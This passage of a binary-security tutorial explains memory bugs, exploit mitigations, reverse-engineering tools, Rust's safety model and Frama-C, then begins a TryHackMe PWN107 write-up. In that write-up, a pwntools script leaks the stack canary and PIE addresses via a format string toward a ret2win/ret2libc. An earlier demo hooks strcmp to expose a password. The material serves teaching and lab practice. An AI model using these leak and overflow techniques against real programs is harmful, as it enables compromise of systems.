    public: void secret() {}
};

A a;
B* b = reinterpret_cast<B*>(&a); // Type confusion
b->secret(); // Undefined behavior
Here, two classes are defined with attributes of different types. An attempt is made to assign the attribute from class A to the attribute in class B without verifying type polymorphism (whether the two types are compatible). To prevent that instead of using reinterpret_cast we can use dynamic_cast.

The consequences can be simple memory corruption, arbitrary read and write operations, or control of the execution flow.

Uncontrolled allocation (memory exhaustion)

A problem distinct from a buffer overflow, since the allocated memory is not exceeded, but too many are allowed to be allocated.

size_t n = get_user_input();
char *buf = malloc(n);
If n = 99999999999 the binary will crash, slow down the machine.

In assembly :

read_number:
    call get_user_input ; rax get the user input

    mov rdi, rax
    call malloc; who take rdi as a size

To prevent this behavior, the requested allocation size should always be validated before invoking the allocator.

Protections and mitigations

Some of these protections have already been discussed in the article, but here they are compiled into a single chapter.

ASLR (and PIE)

Without ASLR, the memory addresses are fixed within the virtual memory which makes exploitation easier :

main()   0x00001
system() 0x00002 // it's easy to call system

With ASLR, each execution of the program generate new addresses for each block of the program. The attacker have to guess/find/leak the address of the function we want to call and they can not just generated a plug and play exploit with the hardcoded values.

PIE comes to complete ASLR by making the position of the code block (.text) also random in the memory. Where ASLR is managed at execution, for a binary to have PIE activated it must be planned at compilation. Because the binary can no longer just ask the os to load it at 0x40000 then do :

call 0x40019

The call must be done according to the relative location of the program :

call current_addr + x

DEP / NX

If an attacker wants to determine the addresses of system functions and ASLR is used to prevent it, it's because they cannot simply place their shellcode on the stack and execute it.

Because with NX enabled, code on the stack cannot be executed.

Stack canaries

During a buffer overflow, the attacker will try to overwrite the return value to control the execution flow of the program. To limit this we can place in the stack a value, and check its integrity before each call to the return address.

buffer
canary = 4856900
rbp
rsp
buffer AAAAAAAA
canary AAAAAAAA
rbp    AAAAAAAA
rsp    0x000022

cmp canary, 4856900;
je rsp

Even if the canary is different at each execution, in the case where a vulnerability allows to read the stack and so to place at the right place in our payload the valid canary, this just makes the creation of exploit more difficult because we have to read the stack before generating the payload accordingly.

Knowing that it's still useful because a lot of bugs allow to write but few allow to read.

Where is stored the value with which the canary is compared ? Can't we place it at "AAAAAAAA" ?

The canary is placed in Thread Local Storage (TLS), we cannot overwrite it with a simple stack buffer overflow.

In order to add complexity often the canary contains a string ending by "00". (example : 0x4856900), Since 0x00 designates the end of a string it increases the chances that a string copy stops before overwriting what is after the canary (on some bug).

RELRO (partial / full)

(cf : "How does the program call the printf function ?" (GOT/PLT) chapter for more in-depth explanation).

When the program calls a function, it will use a GOT table. If this table is writable we can place the address of system on the one of printf.

With Full RELRO, the loader resolves the entire GOT table before launching the program (to retrieve all addresses) and then places this section in read-only.

There is also Partial RELRO where only some parts read-only, GOT still writable.

FORTIFY_SOURCE

Protection at compilation time which will strengthen some calls when it is possible to detect in advance cases of buffer overflow in the code :

char buf[16];
strcpy(buf, data); // FORTIFY_SOURCE will replace it with __strcpy_chk (chk is for check buffer overflow)

FORTIFY works when the compiler can determine the size of the destination object in advance. If the value is generated at execution or is built in a too complex way (even if static) it will not be able to predict this case.

Some recent compilers (GCC and Clang) manage to go back further in the execution chain and can solve cases like this one :

char buf[32];
char *p = buf;

strcpy(p, src); // p is 32

CFI (control-flow integrity)

During compilation, the compiler builds a Control-Flow Graph (CFG) describing all valid execution paths of the program. At runtime, every indirect branch is checked against this graph. If the destination is not one of the valid targets computed at compile time, the program is immediately terminated.

There are two mechanisms in this protection.

Forward-edge CFI : protect indirect calls and indirect jumps. The runtime verifies that the destination stored in RAX belongs to the set of valid functions determined by the compiler.

mov rax, controled_attacker_space
call rax ; as controled_attacker_space is not in the white list this will not be accepted

Backward-edge CFI : protect the return function. A function returns using the address stored on the stack. Stack based buffer overflow attacks overwrite this return address to redirect execution toward attacker code or gadgets.CFI ensures that the return instruction transfers control only to the legitimate caller. In these modern implementations it's a bit redundant with the shadow stack.

There are some ways to bypass. Already if functions allowed by the CFI graph can be useful nothing prevents to call them : if "become_admin()" exists in the code for example.

CFI can also be too permissive and based only on the signatures : for example allow all the functions that take as argument an int and a char.

Shadow stacks

Here the concept is quite simple. In addition to having a real stack where the operations are done, we create a shadow stack which is not available in writing.

If the two stacks do not coordinate it's that an input overwrote something in the stack and the program stops.

There are two ways to store the stack, either on the hardware side (cf : next subject Intel CET), or in memory.

During the call instruction, we push the value of the return address in the shadow stack, at the moment of the ret instruction, we "pop" the value in the two stacks and they must be the same.

In fact we do not really store 100% of the stack we mostly check the return addresses.

It's more powerful than a canary because we cannot at the same time have the valid comparison and have modified the return value.

Intel CET (Control-flow Enforcement Technology)

It's a hardware technology from intel that allows to combine the shadow stack and the IBT (Indirect Branch Tracking).

IBT allows to prevent the attacker from being able to jump to any place of the program. An indirect jump is only allowed toward entry points marked by ENDBR64. The jumps toward the middle of a function are therefore much more difficult.

Concerning the shadow stack, here it's not the operating system and the code that check the integrity of the stack but directly the CPU. Which brings some additional subtlety.

Pointer Authentication (PAC, on ARM cpu)

The goal of PAC is the same as Shadow Stack: preventing an overwrite of the return address. To achieve this, ARM CPUs generate a cryptographic signature for the return address at the time of the call and verify its authenticity when executing the ret.

Since the signing key is stored inside the CPU, it cannot be leaked through memory corruption bugs.

Memory Tagging Extension (MTE, on ARM cpu)

MTE perform detection on invalide memory accession (like use after free and buffer overflow). To achieve this, each memory block receive a tag and the corresponding pointer the same one :

char *p = malloc(32);
*p = tag 5
&p = tag 5

During an access to the memory the processor compares the two tags and accepts to continue the operation if they are identical.

After a free(), the memory is re-used and the tag change

free(p);
*p = tag 5
old address for &p = tag 7

But if the memory is not reused the tag will not change right away. Moreover there is only a very limited number of tags (16). In fact MTE is there to detect and make more random the exploitation of memory vulnerability.

SafeStack

This protection limits the possibilities of overflow from a buffer toward the return address by separating the sensitive data from the buffers.

Prog :

int main(){
    int x = 5;
    int y;

    char buf[256];

    return 0;
}

Safestack :

saved rbp (return address)
int x
int y

Stack :

buf

We end up with two stacks, placed at different and random places thanks to ASLR (because if we manage to find the safestack it breaks this protection).

Stack clash protection

A guard page is placed under the stack in order to detect its excessive growth. When the stack reaches this page, a page fault is triggered and the process is interrupted before the stack can encroach on another memory region.

The problem appears when a very big allocation is done on the stack, for example with a local variable of big size or alloca(). Without particular protection, the compiler can generate a single instruction such as : "sub rsp, 0x800000"

The RSP register then jumps directly by several megabytes and can cross the guard page without ever accessing it. No page fault is triggered and the stack can collide with another memory region (heap, mmap zone, etc.). This vulnerability is called Stack Clash.

On gcc the option is the following :

-fstack-clash-protection

With this protection, the big allocations on the stack are cut into several allocations of the size of a page. After each decrement of RSP, the compiler generates a memory access in order to check that the newly allocated page is not in the guard page.

Application sandboxing

A protection provided at os layer this time. In the case the application is completely compromised, the objective is to limit the program capabilities on the system.

The program is put in a sandbox where is right on the system is strictly restricted.

How can you tell what the program is allowed or not to do on the system ? It's the point of seccomp :

seccomp / seccomp-bpf

Seccomp allows for filtering and either validating or rejecting system calls made by a program. It's made with bpf (cf : article on eBPF).

The application (or its parent process) installs a seccomp-BPF filter at runtime (hardcoded in the program by the developer). This filter specifies which system calls are allowed. Every syscall issued by the process is then checked by the Linux kernel against this filter before being executed.

Knowing that if the program can read or write, the attacker will not be able to use the syscall execve to call "cat" or "ls" but will have to use the syscalls allowed for this program which makes the process more complex.

This protection is not present in the majority of programs. To know which syscall the application must be able to use we can use sysdig during the legitimate execution and then only allow those expected.

Namespaces, cgroups, containers

To add a layer of protection we can launch the program and access it via docker.

Docker relies mainly on the namespaces and the cgroups. The namespace gives the program the impression that it owns the entirety of a system for itself and that it is at the root (where classically a program only has virtual memory it's as if it had a virtual system).

The cgroups for their part allow to limit the access to the hardware resources of the system (RAM/CPU/SSD).

Browser / process isolation sandboxes

The browsers are an example of defense in depth protection management, each of the parts of the browser has a sandbox where it thinks it's alone and cannot access the others as easily as the attacker would want.

The modern protections are not thought in isolation. They are designed to force the attacker to chain several vulnerabilities.

Compiler hardening flags

When compiling a program with GCC you can use flags in the command to enable protections:

-fstack-protector-strong        stack canary
-D_FORTIFY_SOURCE=2             FORTIFY
-fPIE                           Generate executable with PIE protections (.text at a random place)
-pie                            Produces a PIE executable that the kernel can load at a random address
-fstack-clash-protection        Stack Clash Protection
-fcf-protection                 Intel CET

Reverse engineering and binary analysis

Disassembly

The disassembling consists of taking the compiled program (which is composed of binary opcode), and to translate it in assembly instruction :

Assembleur :
C code -> Assembly langage -> opcodes (binary instruction)

Disassembleur :
Assembly langage <- opcodes

Two ways of disassembling exist. The linear way, where each octet of the program is translated linearly to instruction (this method is fast but can wrongly interpret data as code). And the recursive which start from a know entry point (main for example) and follow the instruction suite to disassembly only the real executed instruction in the execution flow (can miss code whose address is calculated dynamically.).

In terms of tools we can go from the simple command line program like objdump :

#objdump -D test 

test:     file format elf64-x86-64


Disassembly of section .interp:

00000000004002e0 <.interp>:
  4002e0:       2f                      (bad)
  4002e1:       6e                      outsb  %ds:(%rsi),(%dx)
  4002e2:       69 78 2f 73 74 6f 72    imul   $0x726f7473,0x2f(%rax),%edi
  4002e9:       65 2f                   gs (bad)
  4002eb:       70 64                   jo     400351 <_init-0xcaf>
  4002ed:       77 6c                   ja     40035b <_init-0xca5>
  4002ef:       79 6a                   jns    40035b <_init-0xca5>
  4002f1:       6b 6d 63 36             imul   $0x36,0x63(%rbp),%ebp
  4002f5:       69 63 63 30 77 62 35    imul   $0x35627730,0x63(%rbx),%esp
  4002fc:       67 61                   addr32 (bad)
  4002fe:       77 30                   ja     400330 <_init-0xcd0>
  400300:       38 6d 39                cmp    %ch,0x39(%rbp)
  400303:       79 6e                   jns    400373 <_init-0xc8d>
  400305:       71 72                   jno    400379 <_init-0xc87>

To Cutter, IDA, Ghidra, Binary ninja which will allow to generate graphs according to the jumps of the instructions and to go down in the function tree which is super practical.

Knowing that all these tools have in addition debug and decompilation functions that we will talk about :

Decompilation

Decompilation consists of trying to reconstruct a higher level code from the assembly code. It's an imperfect attempt and the more we speculate on the code the more we risk approximations.

Knowing that if the program has been compiled with debug options it allows to get the names of the functions and the comments which can make the process easier.

On the other hand if it has been compiled with optimization options (-O1, -O2, -O3, -Os) it can make it more complicated.

At the limit in the context of the security of binary programs, the subject is not so much the code (since there are a thousand ways to program the same behavior), it's precisely the behavior so the assembly which leaves no approximation.

C code :

int main() {
    int a = 19;
    printf("Compilation {%d}", 5);
}

Disassembled :

<main>:
push   rbp
mov    rsp, rbp
sub    0x10, rsp
0x13, -0x4(rbp)
mov    0x5, esi
lea    0xeb0(rip), rax
mov    rax, rdi
mov    0x0, eax
call   <printf@plt>
mov    0x0, eax
leave
ret

Decompiled :

undefined8 main(void)

{
  printf("Compilation {%d}",5);
  return 0;
}
It decided to not even display my super variable a !

Dynamic debugging

There are also tools and functionalities in those already mentioned that allow to execute the program and analyze the state of the stack and the heap during the execution.

To avoid having to make screenshots here is a quick demonstration of pwndbg which is purely command line :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
    int a = 5;

    int b = 9;

    int c;

    char d[16];
    strcpy(d, ":-)");

    char *e = malloc(16);
    strcpy(e, "Hello");

    return 0;
}
pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000001139 <+0>:     push   rbp
   0x000000000000113a <+1>:     mov    rbp,rsp
   0x000000000000113d <+4>:     sub    rsp,0x20
   0x0000000000001141 <+8>:     mov    DWORD PTR [rbp-0x4],0x5 # a
   0x0000000000001148 <+15>:    mov    DWORD PTR [rbp-0x8],0x9 # b (c is never init so not compiled)
   0x000000000000114f <+22>:    lea    rax,[rbp-0x20]
   0x0000000000001153 <+26>:    mov    DWORD PTR [rax],0x292d3a # d
   0x0000000000001159 <+32>:    mov    edi,0x10
   0x000000000000115e <+37>:    call   0x1030 <malloc@plt>
   0x0000000000001163 <+42>:    mov    QWORD PTR [rbp-0x10],rax
   0x0000000000001167 <+46>:    mov    rax,QWORD PTR [rbp-0x10]
   0x000000000000116b <+50>:    mov    DWORD PTR [rax],0x6c6c6548
   0x0000000000001171 <+56>:    mov    WORD PTR [rax+0x4],0x6f
   0x0000000000001177 <+62>:    mov    eax,0x0
   0x000000000000117c <+67>:    leave
   0x000000000000117d <+68>:    ret
End of assembler dump.

To get a, b values after their initialisation we can add a break directly to the addrese or we can use the main+22 shortcut

pwndbg> b *main+22
Breakpoint 1 at 0x114f
pwndbg> run

If we use after that the stack command we will not see our values because the tool displays by default a small portion of it around rsp :

pwndbg> stack
00:0000│ rsp 0x7ffc4b86eee0 ◂— 0
01:0008│-018 0x7ffc4b86eee8 —▸ 0x79e1bb0e9f70 (dl_main) ◂— push rbp
02:0010│-010 0x7ffc4b86eef0 ◂— 0
03:0018│-008 0x7ffc4b86eef8 ◂— 0x500000009 /* '\t' */
04:0020│ rbp 0x7ffc4b86ef00 ◂— 1
05:0028│+008 0x7ffc4b86ef08 —▸ 0x79e1baef824a (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+010 0x7ffc4b86ef10 —▸ 0x7ffc4b86f000 —▸ 0x7ffc4b86f008 ◂— 0x38 /* '8' */
07:0038│+018 0x7ffc4b86ef18 —▸ 0x618f1c376139 (main) ◂— push rbp

We can display the 128 bytes before rsp :

pwndbg> x/128bx $rsp
0x7ffc4b86eee0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffc4b86eee8: 0x70    0x9f    0x0e    0xbb    0xe1    0x79    0x00    0x00
0x7ffc4b86eef0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffc4b86eef8: 0x09    0x00    0x00    0x00    0x05    0x00    0x00    0x00 <-------- b=9 and a=5 (4 bytes each)
0x7ffc4b86ef00: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffc4b86ef08: 0x4a    0x82    0xef    0xba    0xe1    0x79    0x00    0x00
[...]

We will now get d after the strcpy, as we are already at main+22 to move to main+32 we can do :

ni
ni
pwndbg> stack
00:0000│ rax rsp 0x7ffe3e881960 ◂— 0x292d3a /* ':-)' */
01:0008│-018     0x7ffe3e881968 —▸ 0x70693e09cf70 (dl_main) ◂— push rbp
02:0010│-010     0x7ffe3e881970 ◂— 0
03:0018│-008     0x7ffe3e881978 ◂— 0x500000009 /* '\t' */
04:0020│ rbp     0x7ffe3e881980 ◂— 1
05:0028│+008     0x7ffe3e881988 —▸ 0x70693deab24a (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+010     0x7ffe3e881990 —▸ 0x7ffe3e881a80 —▸ 0x7ffe3e881a88 ◂— 0x38 /* '8' */
07:0038│+018     0x7ffe3e881998 —▸ 0x56f2b5b4d139 (main) ◂— push rbp

":-)" was placed at the top of the stack and d points to this address.

ni
ni (next instruction in case you don't know why)
... to main+62
pwndbg> vis-heap-chunks 100

0x56f2b75c1000  0x0000000000000000      0x0000000000000291      ................
0x56f2b75c1010  0x0000000000000000      0x0000000000000000      ................
0x56f2b75c1020  0x0000000000000000      0x0000000000000000      ................
[...]
0x56f2b75c1260  0x0000000000000000      0x0000000000000000      ................
0x56f2b75c1270  0x0000000000000000      0x0000000000000000      ................
0x56f2b75c1280  0x0000000000000000      0x0000000000000000      ................
0x56f2b75c1290  0x0000000000000000      0x0000000000000021      ........!.......
0x56f2b75c12a0  0x0000006f6c6c6548      0x0000000000000000      Hello...........
0x56f2b75c12b0  0x0000000000000000      0x0000000000020d51      ........Q.......

Binary instrumentation (Frida, DynamoRIO, Pin)

Ok at this stage we know a to analyse a compiled program with tools, but what if we modify the binary to make it easier to understand ?

That all the point of binary instrumentation. We are going to modify or extend the behavior of a compiled program, without having its source code.

There are two big ways to do it, in static where the program is modified before its execution and in dynamic where we add instructions during its launch.

To achieve this purpose, the tools add hook before the function call (for example display the filename before fopen()). We also use tracing to record what a program does during its execution.

Static with LIEF

First of all this is the program we will instrument :

// Generated by Gemini
#include <stdio.h>
#include <string.h>

int check_password(const char *input) {

    return strcmp(input, "REDACTED") == 0;
}

int main() {
    char buffer[64];

    printf("Enter password : ");
    if (fgets(buffer, sizeof(buffer), stdin) != NULL) {

        buffer[strcspn(buffer, "\n")] = 0;

        if (check_password(buffer)) {
            puts("You win !");
        } else {
            puts("Nop !");
        }
    }
    return 0;
}

To patch it we will add our hook :

// Generated by Gemini ; commented by a human ;)
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

// Hook the strcmp to create our own version :
int strcmp(const char *s1, const char *s2) {
    // Get a ptr on the real version :
    int (*real_strcmp)(const char *, const char *) = dlsym(RTLD_NEXT, "strcmp");

    // Display the args (which is normaly not a classic behavior for strcmp)
    printf("\n[TRACING] strcmp call with :\n");
    printf("  - Args 1 : %s\n", s1);
    printf("  - Args 2 : %s\n", s2);

    return real_strcmp(s1, s2);
}

gcc prog.c -o prog
gcc -shared -fPIC hook.c -o hook.so -ldl

We then orchestrate our operation with python :

import lief

binary = lief.parse("prog")

binary.add_library("hook.so")

binary.write("prog_patched")

# LD_LIBRARY_PATH=. ./prog_patched
Enter password : : Hello!

[TRACING] strcmp call with :
  - Args 1 : Hello!
  - Args 2 : Secret123!   // we got the secret !
Nop !

Dynamic with Frida

What a crazy software here. You can launch it like that :

frida-trace -f ./prog
Instrumenting...         Started tracing 0 functions. Web UI available at http://localhost:40801/

Then you can use the WebUI to click on "Add", paste "strcmp" and then you can modify the content of the hook :

/*
 * Auto-generated by Frida. Please modify to match the signature of strcmp.
 * This stub is currently auto-generated from manpages when available.
 *
 * For full API reference, see: https://frida.re/docs/javascript-api/
 */

defineHandler({
  onEnter(log, args, state) {
    log(`strcmp("${args[0].readUtf8String()}", "${args[1].readUtf8String()}")`); // <------- I just add this line
    log('strcmp()');
  },

  onLeave(log, retval, state) {
  }
});

Then you click on Deploy and you can enter the user input to see the result :

hello
Nop !
           /* TID 0x163d */
 50083 ms  strcmp("hello", "Secret123!")
 50083 ms  strcmp()
Process terminated

Languages and verification

Memory-safe languages (Rust, and alternatives)

Rust eliminates a large proportion of memory vulnerabilities by design, thanks to checks performed at compile time. Here are the main mechanisms that it applies to do this :

Ownership

Each piece of data has a single owner responsible for freeing it. This prevents double frees, memory leaks caused by improper allocation management, and the use of already freed memory :

For example one of the typical cases of UAF in C is when we lose the path that the variables make between them :

char *a = malloc(16);
strcpy(a, "Hello");

char *b= a;

free(a);
a = NULL; // a ptr is now dangling

printf("%s\n", b); // but we forget that b also point on this memory space

In Rust this is not possible :

let s = String::from("Hello"); // s pointer on the stack, point to the data "Hello" on the Heap.
let t = s; // ownership is moved

println!("{}", s); // error because the ownership have been moved to t

So how do we set a variable to the value of another?

For values stored directly on the stack and implementing the "Copy trait" (ability of a variable to be copied during the declaration of another variable), assignment creates an independent copy of the value:

let a = 20;
let b = a; // ok for compilation

For variables that own heap-allocated memory, such as String, Vec or Box, Rust transfers ownership using a move. If we want we can use clone to duplicate the value on the other var :

let a = String::from("Hello");
let b = a; // a no longer exist

let c = String::from("Hello");
let d = c.clone(); // c and d coexist

If the variable points on a stack memory space :

let buf = [0u8; 10]; // array of 10 chars

let buf2 = buf; // will create another separated array without deleting buf

Concretely in Rust two variables cannot point to the same memory space.

Borrowing

"Rust allows either several immutable references, or a single mutable reference to a data at a given moment."

In C we can do this :

int x = 10;

int *a = &x;
int *b = &x;

*a = 20;
*b = 30;
Each of the variable "a" and "b" can modify the exact same memory space at the "x" addresses.

Rust allows several references toward the same data only if they are immutable (&T). If a reference is mutable (&mut T), it must be the only existing reference :

let s = String::from("Hello");

let a = &s;
let b = &s;
// Here a and b point well toward the same memory, but only in reading.

let mut s = String::from("Hello");

let a = &mut s;
let b = &mut s; // error
&mut : indicates that it allows the modification of the pointed data.

Lifetimes

The compiler verifies that no reference outlives the data after its memory space has been freed.

Example in c:

char *do_something()
{
    char buffer[] = "Hello";
    return buffer;
}

int main()
{
    char *p = do_something();
    printf("%s\n", p);
}
The pointer p still contains the old address, but this zone of the stack no longer belongs to foo(). It can be reused by another function call. Reading p is therefore a dangling pointer (undefined behavior). To secure this case in C we would rather have to allocate the memory on the heap (and not forget to free in main); or make main the initiator of the buffer that the function will fill.

The Rust version :

fn foo() -> &String {
    let s = String::from("Hello");
    &s // error
}
The compiler sees that "s" is created in foo(), destroyed at the end of the function and that the reference &s would survive after the destruction of s.

So write the Rust code like this when we have to get the return value of a function :

fn foo() -> String {
    String::from("Hello")
}

fn main() {
    let s = foo();
    println!("{s}");
}
The ownership of the String is transferred from foo() to main(). The heap memory therefore stays valid as long as s exists in main().

Typing and compile-time guarantees

All the previous protections are made possible thanks to the analyses of the compiler which will refuse to generate a code that does not strictly respect the security rules among which :

ownership
borrowing
lifetimes
absence of use-after-free
absence of double free
absence of data races on the safe code
mandatory initialization of the variables
verification of the types
exhaustive matching of the match
impossibility to use a moved value (move)
control of the mutability (mut)
verification of the lifetimes of the references

*list generated by AI

Formal verification tools

Another paradigm of protection consists of proving mathematically that a program respects certain security properties. The formal verification tools demonstrate that a property is always true for all the possible executions of the program.

One of the most known tools for the C language is Frama-C. The simplest way to use it consists of using the eva plugin :

int main(){
    char buf[8];
    buf[10] = 'A';

    return 0;
}
# frama-c -eva frama_c_demo.c
[kernel] Parsing frama_c_demo.c (with preprocessing)
[eva] Analyzing a complete application starting at main
[eva:initial-state] Values of globals at initialization

[eva:alarm] frama_c_demo.c:5: Warning: 
  accessing out of bounds index. assert 10 < 8;
[kernel] frama_c_demo.c:5: Warning: 
  all target addresses were invalid. This path is assumed to be dead.
[eva] frama_c_demo.c:5: assertion 'Eva,index_bound' got final status invalid.
[eva] ====== VALUES COMPUTED ======
[eva:final-states] Values at end of function main:
  NON TERMINATING FUNCTION
[eva:summary] ====== ANALYSIS SUMMARY ======
  ----------------------------------------------------------------------------
  1 function analyzed (out of 1): 100% coverage.
  In this function, 1 statements reached (out of 3): 33% coverage.
  ----------------------------------------------------------------------------
  Some errors and warnings have been raised during the analysis:
    by the Eva analyzer:      0 errors    0 warnings
    by the Frama-C kernel:    0 errors    1 warning
  ----------------------------------------------------------------------------
  1 alarm generated by the analysis:
       1 access out of bounds index <--------------------------------------------------------- HERE out of bound is detected
  1 of them is a sure alarm (invalid status).
  ----------------------------------------------------------------------------
  No logical properties have been reached by the analysis.
  ----------------------------------------------------------------------------

Various demonstrations for practical applications

Try hack me PWN107 : Format string to leak canary, PIE, and buffer overflow to ret2win/ret2libc

# nc 10.64.159.96 9007             
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 107         

You are a good THM player 😎
But yesterday you lost your streak 🙁
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back

THM: What's your last streak? 17
Thanks, Happy hacking!!
Your current streak: 17


[Few days latter.... a notification pops up]

Hi pwner 👾, keep hacking👩‍💻 - We miss you!😢
ok
hello ?
ahhhhhhhhhhhhhhhhhh
Ncat: Broken pipe.

We begin by analyzing the binary to determine which protections are enabled and, above all, which vulnerabilities are present.

To avoid unnecessarily complicating the exploitation process, I will simply analyze the pseudocode generated by Ghidra and focus on the exploitation techniques relevant to this challenge.

# checksec pwn107-1644307530397.pwn107

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No

We are dealing with several security mechanisms.

NX makes the stack non-executable.

ASLR randomizes the addresses of various memory regions upon each execution.

PIE does the same for the binary itself: program function addresses also change between executions.

Stack Canary allows for the detection of stack corruption before the function returns. We must therefore know the canary value and correctly place it within our payload.

Full RELRO makes the GOT read-only, among other things. GOT overwrite is not an option here.

However, these protections do not necessarily make exploitation impossible. They require us to combine multiple primitives.

We identify the format string and buffer overflow vulnerabilities (see previous chapters for details) :

void main(void)
{
    long in_FS_OFFSET;
    char local_48[32];
    undefined1 local_28[24]; // <--- local_28 can store 24 bytes
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);

    setup();
    banner();

    puts(&DAT_00100c68);
    puts(&DAT_00100c88);
    puts("You mailed about this to THM, and they responsed back with some questions");
    puts("Answer those questions and get your streak back\n");

    printf("THM: What's your last streak? ");
    read(0, local_48, 0x14);

    printf("Thanks, Happy hacking!!\nYour current streak: ");
    printf(local_48); // format string

    puts("\n\n[Few days latter.... a notification pops up]");
    puts(&DAT_00100db8);

    read(0, local_28, 0x200); // <--- but read 200 = buffer overflow

    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
        __stack_chk_fail();
    }

    return;
}

We also have a second function that gives us a shell (for a ret2win) :

void get_streak(void)

{
  long lVar1;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  puts("This your last streak back, don\'t do this mistake again");
  system("/bin/sh");
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

We have exactly the kind of situation for bypassing the previous protections !

The first step involves leaking the canary using the format string :

from pwn import *

elf = ELF('./pwn107-1644307530397.pwn107')
p = process(elf.path)

# %1$p, %2$p, ..., %15$p 
payload = b''.join(f'%{i}$p '.encode() for i in range(1, 16))

p.sendlineafter(b'streak? ', payload)

p.recvuntil(b'streak: ')
leak = p.recvline()
print("leak :", leak)

By repeating the operation, one observes in particular that the 4th value look like a canary :

0x56de76000b00
0x622451e00b00
0x57e42fc00b00
0x60e0ece00b00

The value varies between executions and ends with "00", which is common for a canary.

THM: What's your last streak? %4$p

Thanks, Happy hacking!!

Your current streak: 0x5ed4b5400b00

The canary value is now known dynamically. We will therefore be able to perform our stack overflow without triggering the protection.

Since PIE is enabled, the binary's function addresses also change with each execution the same technique will need to be used to locate "get_streak".

We can therefore examine the various values ​​obtained using the format string:

%1$p = 0x7ffc0e4f84a0 -> [stack]
%2$p = (nil)
%3$p = (nil)
%4$p = 0x5e2a41400b00 -> /workspace/pwn107/pwn107-1644307530397.pwn107      # the canary
%5$p = 0x75d8c4d0d680 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
%6$p = 0xa70243625
%7$p = (nil)
%8$p = (nil)
%9$p = (nil)
%10$p = (nil)
%11$p = 0x7a1d490e4f70 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
%12$p = (nil)
%13$p = 0x724dc9f48f493800
%14$p = 0x1
%15$p = 0x74f084b9524a -> /usr/lib/x86_64-linux-gnu/libc.so.6               # an address belonging to libc.
%16$p = 0x7ffff372d8c0 -> [stack]
%17$p = 0x614776000992 -> /workspace/pwn107/pwn107-1644307530397.pwn107     # an address belonging to the PIE binary.
%18$p = 0x1b1400040
%19$p = 0x7fffca94af88 -> [stack]
Similarly, if we want to perform a ret2libc attack, we need to know the libc base address in order to calculate the addresses of system and the string "/bin/sh".

Digression on ret2libc

If we had wanted to find the necessary components for a ret2libc attack based on our libc related address we would have needed to do the following :

leaked address - known offset = libc base

libc base + system offset = system address

libc base + offset of "/bin/sh" = address of "/bin/sh"

The values ​​vary depending on the libc version !

Calculate the PIE base and find the get_streak function

In our case, %17$p allows us, to retrieve, for example :

%17$p = 0x000061dae7800a2a

This address is corresponding to a location within the binary; to retrieve the offset, we can use vmmap:

pwndbg> b *main+147

pwndbg> run
THM: What's your last streak? %17$p

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x61dae7800000     0x61dae7801000 r-xp     1000       0 pwn107-1644307530397.pwn107
    0x61dae7a01000     0x61dae7a02000 r--p     1000    1000 pwn107-1644307530397.pwn107
    0x61dae7a02000     0x61dae7a03000 rw-p     1000    2000 pwn107-1644307530397.pwn107
    0x7c9534ed8000     0x7c9534edb000 rw-p     3000       0 [anon_7c9534ed8]
    0x7c9534edb000     0x7c9534f01000 r--p    26000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7c9534f01000     0x7c9535057000 r-xp   156000   26000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7c9535057000     0x7c95350aa000 r--p    53000  17c000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7c95350aa000     0x7c95350ae000 r--p     4000  1cf000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7c95350ae000     0x7c95350b0000 rw-p     2000  1d3000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7c95350b0000     0x7c95350bd000 rw-p     d000       0 [anon_7c95350b0]
    0x7c95350d0000     0x7c95350d2000 rw-p     2000       0 [anon_7c95350d0]
    0x7c95350d2000     0x7c95350d6000 r--p     4000       0 [vvar]
    0x7c95350d6000     0x7c95350d8000 r-xp     2000       0 [vdso]
    0x7c95350d8000     0x7c95350d9000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7c95350d9000     0x7c95350ff000 r-xp    26000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7c95350ff000     0x7c9535109000 r--p     a000   27000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7c9535109000     0x7c953510b000 r--p     2000   31000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7c953510b000     0x7c953510d000 rw-p     2000   33000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffd22934000     0x7ffd22955000 rw-p    21000       0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000       0 [vsyscall]

pwndbg> next
Thanks, Happy hacking!!
Your current streak: 0x000061dae7800a2a

So :

leaked address - PIE base = offset of the leaked address within the PIE

0x61dae7800a2a - 0x61dae7800000 = 0x0a2a

In the ELF file, we can therefore calculate:

elf.address = libc_csu_init_leak - 0x0a2a

